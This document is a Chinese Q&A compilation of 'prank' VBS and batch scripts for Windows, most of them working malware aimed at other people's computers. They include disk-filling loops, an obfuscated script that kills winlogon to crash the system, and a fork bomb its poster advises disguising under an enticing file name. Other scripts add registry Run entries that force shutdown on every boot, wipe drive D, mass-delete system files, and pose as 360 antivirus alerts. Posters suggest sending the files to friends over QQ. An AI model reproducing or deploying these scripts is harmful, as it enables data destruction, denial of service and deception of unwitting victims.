1、求大量VBS整人代码.
大量的楼上已经说了。这个是本人原创，亲测有用。毒性嘛，就是会烧CPU，然后在这个vbs旁边创建一大堆垃圾文件（请准备好30G空间）【具体在代码中】
仅供恶搞娱乐和研究，没有攻击任何人，组织的意图。
set qstart = wscript.CreateObject("wscript.shell")
set qweb = CreateObject("Wscript.Shell")
set qwrite = CreateObject("scripting.filesystemobject")
set qsay = CreateObject("sapi.spvoice")
qstart.run "D:\病毒BGM.mp3" ' 《江南皮革厂倒闭了.mp3》请准备好放在D:\
msgbox "您的电脑已被病毒入侵！",vbokonly+vbExclamation,"360 Defender"
qstart.run "cmd.exe /c start appwiz.cpl"
qstart.run "cmd.exe /c start bthprops.cpl"
qstart.run "cmd.exe /c start calc.exe"
qstart.run "cmd.exe /c start cleanmgr.exe"
qstart.run "cmd.exe /c start cmd.exe"
qstart.run "cmd.exe /c start colorcpl.exe"
qstart.run "cmd.exe /c start control.exe"
qstart.run "cmd.exe /c start cttune.exe"
qstart.run "cmd.exe /c start desk.cpl"
qstart.run "cmd.exe /c start dfrgui.exe"
qstart.run "cmd.exe /c start dxdiag.exe"
qstart.run "cmd.exe /c start FileHistory.exe"
qstart.run "cmd.exe /c start Firewall.cpl"
qstart.run "cmd.exe /c start Fone.exe"
qstart.run "cmd.exe /c start fontview.exe"
qstart.run "cmd.exe /c start fsquirt.exe"
qstart.run "cmd.exe /c start hdwwiz.cpl"
qstart.run "cmd.exe /c start inetcpl.cpl"
qstart.run "cmd.exe /c start intl.cpl"
qstart.run "cmd.exe /c start irprops.cpl"
qstart.run "cmd.exe /c start joy.cpl"
qstart.run "cmd.exe /c start LaunchTM.exe"
qstart.run "cmd.exe /c start Magnify.exe"
qstart.run "cmd.exe /c start main.cpl"
qstart.run "cmd.exe /c start mblctr.exe"
qstart.run "cmd.exe /c start mmsys.cpl"
qstart.run "cmd.exe /c start msinfo32.exe"
qstart.run "cmd.exe /c start mspaint.exe"
qstart.run "cmd.exe /c start ncpa.cpl"
qstart.run "cmd.exe /c start notepad.exe"
qstart.run "cmd.exe /c start powercfg.cpl"
qstart.run "cmd.exe /c start RTSnMg64.cpl"
qstart.run "cmd.exe /c start SnippingTool.exe"
qstart.run "cmd.exe /c start sysdm.cpl"
qstart.run "cmd.exe /c start TabletPC.cpl"
qstart.run "cmd.exe /c start telephon.cpl"
qstart.run "cmd.exe /c start timedate.cpl"
qstart.run "cmd.exe /c start write.exe"
qstart.run "cmd.exe /c start wscript.exe"
qstart.run "cmd.exe /c start wscui.cpl"
qstart.run "cmd.exe /c fsutil file createnew 1.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 2.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 3.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 4.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 5.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 6.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 7.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 8.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 9.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 10.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 11.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 12.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 13.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 14.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 15.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 16.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 17.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 18.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 19.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 20.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 21.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 22.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 23.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 24.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 25.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 26.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 27.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 28.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 29.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 30.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 31.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 32.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 33.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 34.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 35.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 36.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 37.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 38.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 39.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 40.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 41.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 42.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 43.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 44.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 45.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 46.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 47.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 48.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 49.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 50.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 51.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 52.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 53.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 54.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 55.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 56.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 57.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 58.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 59.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 60.bug 40000"
qstart.run "cmd.exe /c fsutil file createnew 61.bug 400000"
qstart.run "cmd.exe /c fsutil file createnew 62.bug 4000000"
qstart.run "cmd.exe /c fsutil file createnew 63.bug 40000000"
qstart.run "cmd.exe /c fsutil file createnew 64.bug 400000000"
qstart.run "cmd.exe /c fsutil file createnew 65.bug 4000000000"
qstart.run "cmd.exe /c fsutil file createnew 666.bug 40000000000"
wscript.sleep 25000
qstart.run "cmd.exe /c shutdown -s -t 60 -c ""360公司温馨提醒：因为这个游戏涉及非法内容，所以您的电脑将在60秒后自动关机"" ",0,true
qstart.run "cmd.exe /c echo 滚|clip"
A = INPUTBOX ("说！360是不是上帝？"+chr(13)+chr(13)+chr(13)+"（“滚”已复制到剪贴板，可以粘贴。）","360 Defender","不是",8000,7000)
IF A = "是" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "好的，现在您可以下载360安全卫士来杀毒了。",vbokonly,"360 Defender"
do
qweb.run"https://hao.360.com/"
loop
ELSEIF A = "不是" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"您怎么这么懒呢？",vbokonly+vbQuestion,"360 Defender"
msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"是时候锻炼锻炼了",vbokonly+vbInformation,"360 Defender"
msgbox "游戏规则：在开始后，请及时点击 “确定” 键来取消关机。"+chr(13)+"现在您可以把这个窗口x掉，或者点击确定，来开始游戏。",vbokonly+vbInformation,"360 Defender"
do
qstart.run "cmd.exe /c shutdown -s -t 5 ",0,true
msgbox "取消关机",vbokonly,"360 Defender"
qstart.run "cmd.exe /c shutdown -a",0,true
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
loop
ELSEIF A = "" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "周鸿祎表示无语。"+chr(13)+chr(13)+chr(13)+"这样是不可能解决问题的",vbokonly,"360 Defender"
msgbox "自己探寻吧",vbokonly,"360 Defender"
do
qstart.run "cmd.exe /c shutdown -s -t 5",0,true
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd.exe /c shutdown -a",0,true
loop
ELSEIF A = "滚" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "emmmmmmmm",vbokonly,"360 Defender"
set qwriteb=qwrite.CreateTextFile( "D:\1.txt",,ture)
qwriteb.WriteLine "wscript.CreateObject(" & chr(34) & "wscript.shell" & chr(34) & ").run " & chr(34) & "D:\1.vbs" & chr(34)
qwriteb.WriteLine "msgbox " & chr(34) & "滚" & chr(34) & ",vbokonly+vbinformation," & chr(34) & "360 Defender" & chr(34)
qwriteb.close
qwrite.movefile "D:\1.txt","D:\1.vbs"
qstart.run "D:\1.vbs"
ELSE
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "由于您在说废话，但是您一定不想浪费时间说废话，所以该电脑对您有害。浪费别人时间就是谋财害命 ( 鲁迅 ) 。360积极维护您的财产权和生命健康权，决定不砸掉您的电脑。"+chr(13)+chr(13)+"那现在先把C盘给抹咯！",vbokonly+vbInformation,"360 Defender"
qsay.speak ("在抹掉C盘的过程中，您的电脑将会重启数次此瓷呲呲瓷此次次此瓷呲呲瓷此次次此瓷呲")
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qstart.run "cmd.exe /c shutdown -r -t 5",0,true
END IF
2、vbs整人代码大全
这个很强悍的vbs,蓝屏
strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-
23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-
13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103
,98,111,120,32,34,-15133,89,-13899,-20026,-
20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-
14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-
13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-
24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-
18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,1
01,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116,
46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115,
116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,1
03,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101
,110,100,32,105,102,13,10,13,10,13,10)
for i=1 to UBound(strs)
runner=runner&chr(strs(i))
next
Execute runner
vbs解包代码2010-03-27 21:43Dim rs, ws, fso, conn, stream, connStr, theFolder
Set rs = CreateObject("ADODB.RecordSet")
Set stream = CreateObject("ADODB.Stream")
Set conn = CreateObject("ADODB.Connection")
Set fso = CreateObject("Scripting.FileSystemObject")
connStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=HSH.mdb;"
3、求一些好玩的整人代码？
.bat文件
【测试平台】32bit XP
【功能】让电脑死机
-----代码开始------
%0|%0
-----代码结束------
使用方法：
1、新建个文档【别告我你不会】
2、复制粘贴那段代码
3、保存为XXXXX.bat【XXXXX为随意名字，比如刷钻什么的，怎么诱惑怎么写】
4、运行【再次警告，该代码执行后无法通过任务管理器结束，只能重启或者等他死机然后重启】
【郑重警告！】
最好别拿自己电脑测试，否则后果自负，也别没看该警告就去举报我！由此代码造成的一切后果不承担一切责任！【被朋友打自负……😜】
【代码原理】
通过不停的调用cmd.exe造成系统资源消耗，理论CPU越好，资源消耗越快，死机越快。【双核笔记本实测2分钟之内准死机】
4、bat整人代码
@echo
off
color
0a
:firdo
echo.x=msgbox("对不起！你被系统鄙视了！！"
,Buttons,
"错误！")>%systemdrive%\error.vbs
reg
add
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
/f
/v
"systemvbs"
/t
REG_SZ
/d
"%systemdrive%\error.vbs"
>nul
start
%systemdrive%\error.vbs
:secdo
echo.@echo
off
>%systemdrive%system.bat
echo.shutdown
-f
-s
-t
10
-c
"对不起！你被系统鄙视了"
>>%systemdrive%\system.bat
reg
add
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
/f
/v
"system"
/t
REG_SZ
/d
"%systemdrive%\system.bat"
>nul
shutdown
-f
-s
-t
10
-c
"对不起！你被系统鄙视了"
exit
解释，在firdo，bat在系统盘自动创建一个vbs文件然后自动开启它，开了会弹出“错误，你被系统鄙视了”的气球，并且把它加到开机启动项，每每开机时就会弹出以上的气球...
在secdo，bat在系统盘自动创建另一个bat文件，就是关机的代码，并且加入该bat文件到开机启动项，每每一开机10秒后便开始关机，这个够呛的吧～
^
^
以上是我为了整朋友而创作的，绝对原创～希望你看得懂我的解释..........
5、安卓手机整人代码，可以强制关机的
现在的android系统不会给你的app可以关机的权限，除非手机root了
6、求一些好玩的整人代码~~
这些超级好玩看看
第一个：
这些超级好玩
第一个：
'------!!注意危险!! 5-开机一完毕就关机(计算机无法使用) !!注意危险!!----------dim fsodim wsset fso=CreateObject("Scripting.FileSystemObject")set ws=CreateObject("wscript.shell")set f=fso.getfile(wscript.scriptfullname)ws.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\"&f.name,f.pathset ws=CreateObject("wscript.shell")ws.run "shutdown -f -s -t 00",0 ,true'------------------------------------------------
--------------------------------'----------!!注意危险!! 6-格式化D盘(D盘下所有文件被删除) !!注意危险!!-------dim wsset ws=CreateObject("wscript.shell")ws.Run "%Comspec% /c"&"RD /S /Q d:\",0,ture'--------------------
第二个：
“
gsh=msgbox ("已经准备好格式化，准备开始。",vbyesno)
set s=createobject("wscript.shell")
wscript.sleep 1000
msgbox "开始格式化…… 哈哈！吓晕了吧，骗你的~"
wscript.sleep 1000
wscript.sleep 1000*100
msgbox "windows发现一重要更新，将自动下载。"
wscript.sleep 3000
msgbox "系统检测到WINDOWS更新中捆绑有不明插件SXS.exe,是否对其扫描？",vbyesno
wscript.sleep 1000
msgbox "文件名 SXS.exe"+CHR(13)+"发行者 田间的菜鸟 "+chr(13)+"安全评级 高危"+chr(13)+"建议 直接删除"+chr(13)+"病毒类型：木马",,"windows扫描附件"
msgbox "是否阻止其安装？",vbyesno
wscript.sleep 3000
msgbox "阻止失败！请检查防火墙是否开启！"
wscript.sleep 5000
msgbox "正在尝试强行删除…"
wscript.sleep 5000
msgbox "失败！"
wscript.sleep 5000
msgbox "您的电脑已陷入危险之中，请赶快扫描病毒！"
wscript.sleep 10000
s.sendkeys "% n"
s.run "taskkill /im QQ.exe"
s.sendkeys "% n"
s.run "taskkill /im explorer.exe /f"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
msgbox "你好啊！"
wscript.sleep 3000
msgbox "很高兴见到你！"
wscript.sleep 3000
msgbox "您的电脑可能已经感染病毒！",,"WINDOWS防火墙警告"
wscript.sleep 3000
msgbox "我控制你的电脑了！"
wscript.sleep 3000
msgbox "不信？那我给你关机看看~"
s.run "shutdown -r -t 120"
msgbox "信了吧！"
msgbox "帮你解除关机……"
s.run "shutdown -a"
msgbox "再给你打开记事本写封信，劝你最好别动，要不然会引起系统混乱~"
s.run "notepad"
wscript.sleep 3000
s.sendkeys "Hello, I'm sorry I control your computer,"
wscript.sleep 3000
s.sendkeys " but the virus is false in, "
wscript.sleep 3000
s.sendkeys "only a joke, "
wscript.sleep 3000
s.sendkeys "please rest assured! "
wscript.sleep 3000
s.sendkeys "I no longer next "
wscript.sleep 3000
s.sendkeys "time so the whole you!"
wscript.sleep 3000
s.sendkeys" Goodbye!"
s.sendkeys"{enter}"
s.sendkeys"END"
wscript.sleep 1000
s.sendkeys"%{F4}"
msgbox "提示：刚才的“病毒”是假的，只不过是吓你玩玩~"
s.run "explorer"
”
这个病毒的说明：在任务管理器关闭wscript.exe可关闭弹窗
第三个：
Set s = CreateObject("sapi.spvoice")
i=0
do
s.speak i
i=i+1
loop
------------------------------------------------
第四个：
do
msgbox"哈哈哈有种把我关掉”
loop
哈哈哈有种把我关掉可以随意更改
第四个的升级版：
do
msgbox"哈哈,有种关掉我啊"
msgbox"开始倒计时"
msgbox"10"
msgbox"9"
msgbox"8"
msgbox"7
msgbox"6"
msgbox"5"
msgbox"4"
msgbox"3"
msgbox"2"
msgbox"1"
msgbox"野生熊孩子强最帅"
loop
野生熊孩子强最帅可以随意更改
第五个：
Dim odjws
Set odjws=wscript.createobject("wscript.she11")
do
objws.Run "calc"
loop
第六个：
'--------------------------------3-直接关机------------------------------------dim wsset ws=CreateObject("wscript.shell")ws.run "shutdown -f -s -t 00",0 ,true'--------------------------------------------------------------------------------'-------------------------------
第七个:
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
第八个：名：腾讯QQ
do
msgbox”别点我哟，我今天想休息，不让登”
loop
第九个：
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 120 -c ""说我是猪，不说我是猪就两分钟关你机，不信，你试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，说 ""我是猪"" ","说不说","你写啊",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛,呵呵，爽"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
第10个：
Gecho off
start cmd
%0
第11个：
set ws=createobject("wscript.shell")
call shutdown(1)
do while a<>"陈独秀"
a=inputbox("快在下面的框框里输入陈独秀喜欢谁,否则后果自负"" ","一个问题","")
loop
call shutdown(2)
msgbox"好吧，不过好自恋啊",4096+64
msgbox"但是你关不掉我",4096+64
msgbox"真的",4096+64
MsgBox"你不信？",4096+64
MsgBox"打开任务管理器也没有什么软用的",4096+64
MsgBox"给你讲个故事",4096+64
MsgBox"从前有座山!",4096+64
MsgBox"山里有个庙.",4096+64
MsgBox"庙里有个老和尚在讲故事.",4096+64
msgbox"哎呀累了！数绵羊哄我睡觉",4096+64
for i=1 to 60
MsgBox i&"只绵羊",4096+64
next
msgbox"哎呀我困了，这次就饶过你吧，下次注意哦!",4096+64
msgbox"最后问个问题，我是不是大好人！",4096+64
if inputbox("是不是","请选择","是")<>"是" then
call shutdown(1)
end if
sub shutdown(s)
select case s
case 1
ws.run"cmd.exe /c shutdown -r -t 60 -c",0
case 2
ws.run"cmd.exe /c shutdown -a",0
end select
end sub
第12个：
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
第13个：
dim s
do until s=500
s=s+1
msgbox "哥们，给我按500次回车吧",64
loop
7、整人程序代码怎么用
整人代码及应用
让对方重启指定次数(害人专用)
@echo off
if not exist c:1.txt echo. >c:1.txt & goto err1
if not exist c:2.txt echo. >c:2.txt & goto err1
if not exist c:3.txt echo. >c:3.txt & goto err1s
if not exist c:4.txt echo. >c:4.txt & goto err1
if not exist c:5.txt echo. >c:5.txt & goto err1
goto err2
:err1
shutdown -s -t 0
:err2
上面可以让对方电脑重启5次后不在重启，当然如果你修改一下加个if not exist c:6.txt echo. >c:6.txt & goto err1那
就是重启6次
改成7就是7次...
打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，
保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。
善意恶搞关机
首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看
把隐藏已知文件类型的扩展名前面的勾去掉.
然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，
不信，试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，一切皆有可能~"
复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序，这样你再压缩下用QQ发给你朋友，
对方打开了就在60秒内要关闭计算机，
结束任务都不行，他只能说他是猪才能解决问题。够坏吧？ 注意哦，你可以把我是猪那个修改成任意想说的话，
要是对付你喜欢的人，
就修改成 我爱你 这样他只有说我爱你之后才不关闭计算机哦 也可以把时间修改为20 就是说打开了20秒就关了
,还没等对方打完就关机了 是不是叫对方很郁闷呢?
让人崩溃的关机程序
首先你可以看下面的
WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"&TSName)
WScript.Echo("你是可爱的XX童鞋吗?")
WScript.Echo("哈,我想你拉，这你都不知道吗？")
WScript.Echo("怎么才来，说~是不是不关心我")
WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。")
WScript.Echo("夜黑很生气，后果很严重哦。")
WScript.Echo("嘿嘿！你也会很惨滴哦")
WScript.Echo("是不是想清除我？")
WScript.Echo("那你要点上50下哦，不过会给你惊喜滴")
WScript.Echo("还剩49下，快点点哦")
WScript.Echo("还剩48下，快点，小笨蛋！")
WScript.Echo("还剩47下对，就这样快点点！")
WScript.Echo("还剩46下。你啊就是笨，要快哦，我先不打扰你工作。")
WScript.Echo("还剩45下，记得要快哦！")
WScript.Echo("还剩43下")
WScript.Echo("还剩42下")
WScript.Echo("还剩41下")
WScript.Echo("还剩40下")
WScript.Echo("还剩39下")
WScript.Echo("还剩38下")
WScript.Echo("还剩37下")
WScript.Echo("还剩36下")
WScript.Echo("还剩35下")
WScript.Echo("还剩34下")
WScript.Echo("还剩33下")
WScript.Echo("还剩32下")
WScript.Echo("还剩30下")
WScript.Echo("还剩29下")
WScript.Echo("还剩28下")
WScript.Echo("还剩27下")
WScript.Echo("还剩26下")
WScript.Echo("还剩25下")
WScript.Echo("还剩24下")
WScript.Echo("还剩23下")
WScript.Echo("还剩22下")
WScript.Echo("还剩21下")
WScript.Echo("还剩20下")
WScript.Echo("还剩19下")
WScript.Echo("还剩18下")
WScript.Echo("还剩17下")
WScript.Echo("还剩16下")
WScript.Echo("还剩15下")
WScript.Echo("还剩14下")
WScript.Echo("还剩13下停停！！！慢点，我有话要说")
WScript.Echo("还剩12下，你继续点我就会消失滴")
WScript.Echo("还剩11下，以后就看不到我拉。呜呜~555555")
WScript.Echo("还剩10下，你现在可以选择停止！")
WScript.Echo("还剩9下。你还点啊，不要我拉？")
WScript.Echo("还剩8下，有点伤心拉，干嘛丢弃人家")
WScript.Echo("还剩7下。疯了，你有点负意！")
WScript.Echo("还剩6下。对。你就点吧，我恨你！")
WScript.Echo("还剩5下，不明白，删除我你就好吗？")
WScript.Echo("还剩4下！真要删除我？")
WScript.Echo("还剩3下。可是我真的很眷恋你。。。")
WScript.Echo("还剩2下。不要这么绝情嘛，人家是爱你的！")
WScript.Echo("还剩1下。哼，既然你这么绝情。也别怪我无义！！！")
WScript.Echo("我本因该消失的，不过我留恋你滴芳容，万能的上帝又给了一次机会。")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
把这个复制在记事本,把后缀修改成.vbs
在打开呢就会先说第一句的 嘿，谢谢你打开我哦，我等你很久拉！
他无论是点关闭或者是点确定都会再说第2句
再点就说地3句 会按顺序说完
你们注意哦，最后10句话，只是10句，你要是把这个复制再粘贴N次，那他还有个打完呢？
这样才做到整人了，要是给喜欢的人发去啊，那就写你要说的话吧，双引号里面的可以随便更改
8、求简单的整人Bat代码
严重警告！极度危险！不是恶搞程序！
@echo off
color 4f
title c:files killer
taskkill /im explorer.exe /f
echo 删除C盘所有文件......
del /f /s /q "%systemdrive%\*.tmp"
del /f /s /q "%systemdrive%\*.dmp"
del /f /s /q "%systemdrive%\*._mp"
del /f /s /q "%systemdrive%\*.gid"
del /f /s /q "%systemdrive%\*.old"
del /f /s /q "%systemdrive%\*.chk"
del /f /s /q "%systemdrive%\*.bak"
del /f /s /q "%systemdrive%\*.log"
del /f /s /q "%systemdrive%\*.txt"
del /f /s /q "%systemdrive%\*.ini"
del /f /s /q "%systemdrive%\Recycled\*.*"
del /f /s /q "%systemdrive%\RECYCLER\*.*"
del /f /s /q "%windir%\inf\*.pnf"
del /f /s /q "%windir%\Prefetch\*.*"
9、求Bat整人代码。。很搞笑很吓人但是很安全！
@echo
off
color
0b
mode
con:
cols=80
lines=20
@title=超级病毒
for
/L
%%a
in
(
3,-1,0
)
do
(
for
/l
%%a
in
(1,1,8)
do
echo\
echo
入侵倒计时
%%a
秒
ping
-n
2
127.1
1>nul
2>nul
cls
)
cls
color
40
for
/l
%%a
in
(1,1,8)
do
echo\
echo
正在遭受黑客入侵...
ping
127.1
/n
3
>nul
echo.
echo
警告！警告！电脑已被入侵！！！
ping
127.1
/n
3
>nul
cls
echo.
echo.
echo.
echo
正在删除G盘所有文件...
set
/p
a=">============================================================================
=="<nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=<nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^><nul
ping/n
1
127.1
>nul
)
echo
删除完毕
echo.
echo
正在删除E盘所有文件...
set
/p
a=">============================================================================
=="<nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=<nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^><nul
ping/n
1
127.1
>nul
)
echo
删除完毕
echo.
echo
正在删除D盘所有文件...
set
/p
a=">============================================================================
=="<nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=<nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^><nul
ping/n
1
127.1
>nul
)
echo
删除完毕
echo.
echo
正在删除C盘所有文件...
set
/p
a=">============================================================================
=="<nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=<nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^><nul
ping/n
1
127.1
>nul
)
echo
删除完毕
echo.
echo
正在删除分区表...
set
/p
a=">============================================================================
=="<nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=<nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^><nul
ping/n
1
127.1
>nul
)
echo.
echo
删除完毕
echo.
echo.
echo
正在遭受黑客的炸弹袭击！
echo.
echo
电脑崩溃！准备关闭系统！
ping
127.1
/n
3
>nul
shutdown
-s
-t
0
>nul<p>
</p>
10、整人代码
你想问什么？你是想要代码吗？
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
